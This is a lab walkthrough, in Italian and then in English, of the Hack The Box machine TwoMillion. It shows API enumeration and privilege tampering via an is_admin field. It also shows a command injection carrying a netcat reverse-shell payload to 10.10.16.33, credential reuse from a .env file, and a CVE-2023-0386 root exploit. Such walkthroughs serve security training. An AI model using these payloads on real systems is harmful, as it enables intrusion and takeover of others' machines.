TwoMillion
Foothold
Intanto mappiamo l’IP della macchina con l’hostname twomillion.htb nel file /etc/hosts.
Dopo aver lanciato una scansione TCP si ottiene
# Nmap 7.94SVN scan initiated Fri Mar 7 11:52:10 2025 as: /usr/lib/nmap/nmap -sV -vv -oN tcp.txt twomillion.htb
Nmap scan report for twomillion.htb (10.10.11.221)
Host is up, received reset ttl 128 (0.016s latency).
Scanned at 2025-03-07 11:52:10 CET for 30s
Not shown: 995 filtered tcp ports (no-response)
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 128 OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp open http syn-ack ttl 128 nginx
801/tcp closed device reset ttl 128
1075/tcp closed rdrmshc reset ttl 128
5678/tcp closed rrac reset ttl 128
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Mar 7 11:52:40 2025 -- 1 IP address (1 host up) scanned in 30.91 seconds
Questa è la home della web app alla porta 80 e navigando, si nota la sezione di login.

Scorrendo la home, si ha la sezione [join]

Cliccando su “Join HTB” si ottiene la suguente pagina

Guardando lo snippet del codice sorgente della pagina, si nota che esiste una funzione che effettua una verifica del codice inserito e lo fa effettuando una chiamata API all’endpoint /api/v1/invite/verify. Successivamente se il codice è corretto, lo memorizza nel localstorage e rimanda alla pagina /register, dove esso verrà utilizzato.

Andando nella sezione /register abbiamo questa visualizzazione

Facendo un po’ di tentativi sull’invite code, sembrano tutti fallire.
Provando ad effetuare una richiesta all’endpoint /api/v1 per provare ad ottenere la lista delle api disponibili, viene restituito un 401 Unauthorized.
Pertanto si prova a fare l’enumeration di un’altra API che posso aiutarci a questo scopo.
L’enumeration viene fatta con il seguente comando, si effettuano chiamate POST all’endpoint /api/v1/invite, prendendo le azioni dalla wordlist e scarta tutte le richiesta che nel HTML contengono “404 - Not Found”
ffuf -u http://2million.htb/api/v1/invite/FUZZ -w /usr/share/seclists/Discovery/Web-Content/api/actions-lowercase.txt -r -fr "404" -X POST
Si ottiene

Ciò significa che esiste un altro endpoint che permette di effettuare un’altra azione. Quindi testando la chiamata su generate.
Richiesta
POST /api/v1/invite/generate HTTP/1.1
Host: 2million.htb
Content-Length: 0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://2million.htb
Referer: http://2million.htb/invite
Accept-Encoding: gzip, deflate, br
Accept-Language: it-IT,it;q=0.9,en-US;q=0.8,en;q=0.7
Connection: keep-alive
Risposta
HTTP/1.1 200 OK
Server: nginx
Date: Wed, 02 Apr 2025 09:21:39 GMT
Content-Type: application/json
Connection: keep-alive
Set-Cookie: PHPSESSID=3q4uv1b7us0vfi61k1tbdntcqf; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 91
{
"0":200,
"success":1,
"data":{
"code":"UzNSTjMtNFdRS1ktN1QzTzItOFg0VlQ=",
"format":"encoded"
}
}
Come risposta si ottiene un codice codificato in base64. Decodificando il codice e testandolo sull’endpoint /verify, **si verifica che il codice è valido.
Si procede effettuando la registrazione di un account con il codice generato e decodificato.
Richiesta
POST /api/v1/user/register HTTP/1.1
Host: 2million.htb
Content-Length: 147
Cache-Control: max-age=0
Origin: http://2million.htb
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://2million.htb/register
Accept-Encoding: gzip, deflate, br
Accept-Language: it-IT,it;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: PHPSESSID=4trtgi8hpketi1965lkv9d02h0
Connection: keep-alive
code=S3RN3-4WQKY-7T3O2-8X4VT&username=user&email=user@2dgkwzysnfdwot8718h4n58vjmpdd61v.oastify.com&password=user&password_confirmation=user
Risposta
HTTP/1.1 302 Found
Server: nginx
Date: Tue, 01 Apr 2025 14:38:31 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Location: /login
Content-Length: 0
La location riporta alla login e provando ad effettuare l’accesso con
user@2dgkwzysnfdwot8718h4n58vjmpdd61v.oastify.com:user
Si ottiene

Ora che abbiamo effettuato l’accesso ed ottenuto un cookie, si riprova ad eseguire la richiesta all’endpoint /api/v1
Richiesta
GET /api/v1 HTTP/1.1
Host: 2million.htb
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://2million.htb/api/v1/user/vpn/
Accept-Encoding: gzip, deflate, br
Accept-Language: it-IT,it;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: PHPSESSID=d3bd49vhcemh5fta7uebptfatr
Connection: keep-alive
Risposta
HTTP/1.1 200 OK
Server: nginx
Date: Wed, 02 Apr 2025 10:06:49 GMT
Content-Type: application/json
Connection: keep-alive
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 800
{
"v1": {
"user": {
"GET": {
"/api/v1": "Route List",
"/api/v1/invite/how/to/generate": "Instructions on invite code generation",
"/api/v1/invite/generate": "Generate invite code",
"/api/v1/invite/verify": "Verify invite code",
"/api/v1/user/auth": "Check if user is authenticated",
"/api/v1/user/vpn/generate": "Generate a new VPN configuration",
"/api/v1/user/vpn/regenerate": "Regenerate VPN configuration",
"/api/v1/user/vpn/download": "Download OVPN file"
},
"POST": {
"/api/v1/user/register": "Register a new user",
"/api/v1/user/login": "Login with existing user"
}
},
"admin": {
"GET": {
"/api/v1/admin/auth": "Check if user is admin"
},
"POST": {
"/api/v1/admin/vpn/generate": "Generate VPN for specific user"
},
"PUT": {
"/api/v1/admin/settings/update": "Update user settings"
}
}
}
}
Si ottengono diverse API disponibili, in particolare, quelle interessanti sono quelle dell’admin.
Effettuando una PUT alla API /api/v1/admin/settings/update si ottiene come risposta
HTTP/1.1 200 OK
[...]
{
"status":"danger",
"message":"Missing parameter: email"
}
Provando ad aggiungere nel body
[...]
{
"email" : "user@n4s5nkpde04hfezsst8peqzga7gy4tsi.oastify.com"
}
Si ottiene
HTTP/1.1 200 OK
[...]
{
"status":"danger",
"message":"Missing parameter: is_admin"
}
Fino ad ottenere una richiesta formata correttamente
[...]
{
"email" : "user@n4s5nkpde04hfezsst8peqzga7gy4tsi.oastify.com",
"is_admin" : 1
}
Risposta
HTTP/1.1 200 OK
Server: nginx
Date: Wed, 02 Apr 2025 12:36:42 GMT
Content-Type: application/json
Connection: keep-alive
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 40
{
"id":13,
"username":"user",
"is_admin":1
}
A questo punto si hanno i permessi di amministratore e si può utilizzare l’altra API messa a diposizione /api/v1/admin/vpn/generate.
Giocando un po’ col parametro “username” nel JSON, si scopre essere presente una Command Injection. A questo punto ci mettiamo in ascolto sulla shell e lanciamo la seguente richiesta HTTP.
Richiesta
POST /api/v1/admin/vpn/generate HTTP/1.1
Host: 2million.htb
Upgrade-Insecure-Requests: 1
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://2million.htb/api/v1/user/vpn/
Accept-Encoding: gzip, deflate, br
Accept-Language: it-IT,it;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: PHPSESSID=d3bd49vhcemh5fta7uebptfatr
Connection: keep-alive
Content-Length: 57
{
"username":"user;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.16.33 9000 >/tmp/f"
}
Nella shell si ottiene

Foothold ottenuto.
Lateral Movement
A questo punto bisogna fare un lateral movement e diventare l’utente “admin”, presente nella macchina, perché l’utente www-data non ha privilegi (viene usato il principio least-privilege).
Nella cartella dove ci si trova facendo un listing di tutti i file è presente un file nascosto .env e leggendo il contenuto di tale si ottengono delle credenziali

Effettuando l’accesso in ssh con credenziali
admin:SuperDuperPass123
Si riesce ad effettuare il Lateral movement e prendiamo la flag user.txt.
Privilege Escalation
Cercando con linpeas.sh qualcosa di interessante, si nota l’accesso in lettura a questo file /var/mail/admin

Cercando quindi per una vulnerabilità di OverlayFS / FUSE si trova la CVE-2023-0386 e utilizzando l’exploit qui presente https://github.com/sxlmnwb/CVE-2023-0386
Si lanciano i comandi, su due terminali differenti, che vengono mostrati nelle seguenti immagini


Ora prendiamo e inviamo la flag root.txt.
Foothold
First we map the machine’s IP to the hostname twomillion.htb in the /etc/hosts file.
After running a TCP scan we get
# Nmap 7.94SVN scan initiated Fri Mar 7 11:52:10 2025 as: /usr/lib/nmap/nmap -sV -vv -oN tcp.txt twomillion.htb
Nmap scan report for twomillion.htb (10.10.11.221)
Host is up, received reset ttl 128 (0.016s latency).
Scanned at 2025-03-07 11:52:10 CET for 30s
Not shown: 995 filtered tcp ports (no-response)
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 128 OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp open http syn-ack ttl 128 nginx
801/tcp closed device reset ttl 128
1075/tcp closed rdrmshc reset ttl 128
5678/tcp closed rrac reset ttl 128
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Mar 7 11:52:40 2025 -- 1 IP address (1 host up) scanned in 30.91 seconds
This is the home page of the web app on port 80, and while browsing we notice the login section.

Scrolling through the home page, there is the [join] section

Clicking on “Join HTB” brings up the following page

Looking at the snippet of the page’s source code, we notice that there is a function that verifies the entered code, and it does so by making an API call to the /api/v1/invite/verify endpoint. Then, if the code is correct, it stores it in localstorage and redirects to the /register page, where it will be used.

Going to the /register section we get this view

After a few attempts with the invite code, they all seem to fail.
Trying to make a request to the /api/v1 endpoint in order to obtain the list of available APIs returns a 401 Unauthorized.
Therefore we try to enumerate another API that can help us toward this goal.
The enumeration is done with the following command: we make POST calls to the /api/v1/invite endpoint, taking the actions from the wordlist and discarding all requests whose HTML contains “404 - Not Found”
ffuf -u http://2million.htb/api/v1/invite/FUZZ -w /usr/share/seclists/Discovery/Web-Content/api/actions-lowercase.txt -r -fr "404" -X POST
We get

This means there is another endpoint that allows us to perform another action. So we test the call on generate.
Request
POST /api/v1/invite/generate HTTP/1.1
Host: 2million.htb
Content-Length: 0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://2million.htb
Referer: http://2million.htb/invite
Accept-Encoding: gzip, deflate, br
Accept-Language: it-IT,it;q=0.9,en-US;q=0.8,en;q=0.7
Connection: keep-alive
Response
HTTP/1.1 200 OK
Server: nginx
Date: Wed, 02 Apr 2025 09:21:39 GMT
Content-Type: application/json
Connection: keep-alive
Set-Cookie: PHPSESSID=3q4uv1b7us0vfi61k1tbdntcqf; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 91
{
"0":200,
"success":1,
"data":{
"code":"UzNSTjMtNFdRS1ktN1QzTzItOFg0VlQ=",
"format":"encoded"
}
}
As a response we get a base64-encoded code. Decoding the code and testing it on the /verify endpoint, **we confirm that the code is valid.
We proceed by registering an account with the generated and decoded code.
Request
POST /api/v1/user/register HTTP/1.1
Host: 2million.htb
Content-Length: 147
Cache-Control: max-age=0
Origin: http://2million.htb
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://2million.htb/register
Accept-Encoding: gzip, deflate, br
Accept-Language: it-IT,it;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: PHPSESSID=4trtgi8hpketi1965lkv9d02h0
Connection: keep-alive
code=S3RN3-4WQKY-7T3O2-8X4VT&username=user&email=user@2dgkwzysnfdwot8718h4n58vjmpdd61v.oastify.com&password=user&password_confirmation=user
Response
HTTP/1.1 302 Found
Server: nginx
Date: Tue, 01 Apr 2025 14:38:31 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Location: /login
Content-Length: 0
The location redirects to the login, and trying to log in with
user@2dgkwzysnfdwot8718h4n58vjmpdd61v.oastify.com:user
We get

Now that we have logged in and obtained a cookie, we retry the request to the /api/v1 endpoint
Request
GET /api/v1 HTTP/1.1
Host: 2million.htb
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://2million.htb/api/v1/user/vpn/
Accept-Encoding: gzip, deflate, br
Accept-Language: it-IT,it;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: PHPSESSID=d3bd49vhcemh5fta7uebptfatr
Connection: keep-alive
Response
HTTP/1.1 200 OK
Server: nginx
Date: Wed, 02 Apr 2025 10:06:49 GMT
Content-Type: application/json
Connection: keep-alive
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 800
{
"v1": {
"user": {
"GET": {
"/api/v1": "Route List",
"/api/v1/invite/how/to/generate": "Instructions on invite code generation",
"/api/v1/invite/generate": "Generate invite code",
"/api/v1/invite/verify": "Verify invite code",
"/api/v1/user/auth": "Check if user is authenticated",
"/api/v1/user/vpn/generate": "Generate a new VPN configuration",
"/api/v1/user/vpn/regenerate": "Regenerate VPN configuration",
"/api/v1/user/vpn/download": "Download OVPN file"
},
"POST": {
"/api/v1/user/register": "Register a new user",
"/api/v1/user/login": "Login with existing user"
}
},
"admin": {
"GET": {
"/api/v1/admin/auth": "Check if user is admin"
},
"POST": {
"/api/v1/admin/vpn/generate": "Generate VPN for specific user"
},
"PUT": {
"/api/v1/admin/settings/update": "Update user settings"
}
}
}
}
We get several available APIs; in particular, the interesting ones are the admin ones.
Making a PUT to the /api/v1/admin/settings/update API we get this response
HTTP/1.1 200 OK
[...]
{
"status":"danger",
"message":"Missing parameter: email"
}
Trying to add to the body
[...]
{
"email" : "user@n4s5nkpde04hfezsst8peqzga7gy4tsi.oastify.com"
}
We get
HTTP/1.1 200 OK
[...]
{
"status":"danger",
"message":"Missing parameter: is_admin"
}
Until we obtain a correctly formed request
[...]
{
"email" : "user@n4s5nkpde04hfezsst8peqzga7gy4tsi.oastify.com",
"is_admin" : 1
}
Response
HTTP/1.1 200 OK
Server: nginx
Date: Wed, 02 Apr 2025 12:36:42 GMT
Content-Type: application/json
Connection: keep-alive
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 40
{
"id":13,
"username":"user",
"is_admin":1
}
At this point we have administrator privileges and we can use the other API made available, /api/v1/admin/vpn/generate.
Playing a bit with the “username” parameter in the JSON, we discover a Command Injection. At this point we set up a listener on the shell and send the following HTTP request.
Request
POST /api/v1/admin/vpn/generate HTTP/1.1
Host: 2million.htb
Upgrade-Insecure-Requests: 1
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://2million.htb/api/v1/user/vpn/
Accept-Encoding: gzip, deflate, br
Accept-Language: it-IT,it;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: PHPSESSID=d3bd49vhcemh5fta7uebptfatr
Connection: keep-alive
Content-Length: 57
{
"username":"user;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.16.33 9000 >/tmp/f"
}
On the shell we get

Foothold obtained.
Lateral Movement
At this point we need to perform a lateral movement and become the “admin” user present on the machine, because the www-data user has no privileges (the least-privilege principle is used).
In the folder where we are, listing all files reveals a hidden file .env, and reading its contents we obtain some credentials

Logging in via ssh with credentials
admin:SuperDuperPass123
We manage to perform the Lateral Movement and grab the user.txt flag.
Privilege Escalation
Searching with linpeas.sh for something interesting, we notice read access to this file /var/mail/admin

Searching then for an OverlayFS / FUSE vulnerability, we find CVE-2023-0386 and use the exploit available here https://github.com/sxlmnwb/CVE-2023-0386
We run the commands, on two different terminals, shown in the following images


Now we grab and submit the root.txt flag.